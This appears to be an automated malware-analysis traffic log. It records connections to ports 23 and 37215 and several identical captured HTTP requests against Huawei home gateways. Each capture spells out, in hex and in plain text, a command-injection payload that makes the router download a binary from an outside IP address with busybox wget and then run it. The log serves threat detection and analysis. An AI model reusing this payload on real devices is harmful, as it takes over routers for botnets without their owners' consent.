    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34620
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34620
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34630
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34716
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34730
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34748
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34756
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34776
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34816
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34832
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 34842
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49428 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 22545
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 47024
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58756 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33086 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35064 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46588 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46484 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50400 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59944 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46586 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46494 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42706 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44962 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42328 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50528 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 36062 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 55450 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42706 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57644 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35590 -> 37215
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 